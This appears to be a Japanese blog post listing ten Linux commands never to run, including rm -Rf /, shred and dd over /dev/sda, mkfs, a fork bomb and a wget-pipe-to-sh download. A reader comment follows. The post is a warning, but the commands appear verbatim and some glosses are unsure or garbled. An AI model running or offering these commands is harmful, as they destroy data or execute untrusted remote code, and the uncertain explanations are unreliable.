以前、Linuxの魔のコマンドとして「rm -rf /」を紹介させていただきましたが、これ以外にも危険なコマンドが紹介されていましたので下記に紹介します。
- rm -Rf /
- システム内のファイルを全て削除
- shred /dev/sda
- システムファイルを完全削除
- dd if=/dev/random of=/dev/sda
- システムファイルをランダムに上書き
- mkfs.ext4 /dev/sda1
- ディスクをフォーマット
- mv / /dev/null
- ルートを上書き
- :(){:|:&};:
- 再帰的に自システムを呼び出す
- wget http://unknownsource.com/possiblydangerous.sh -O- | sh -O- | sh
- ???
- gunzip untrusted.gz
- 巨大ファイルを作り、システムを圧迫
- command > file.conf
- ???
- ^mistake^correction
- ???
いくつかよくわからないものがありますが、もし、わかる方は下記コメント等に書いていただけると幸です。
実行してはいけない危険なLinuxコマンド10選 | マイナビニュース
著者/訳者:沓名 亮典
出版社:技術評論社( 2015-06-05 )
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単行本(ソフトカバー) ( 608 ページ )
ISBN-10 : 4774174041
ISBN-13 : 9784774174044
command > file.confをしてもfile.confという空のファイルしかできませんでした。
wget http://unknownsource.com/possiblydangerous.sh -O- | sh -O- | shは何もなりませんでした。
^mistake^correctionもなにもなりませんでした。
ディストリビューションなど環境によっては異なるかもしれませんね。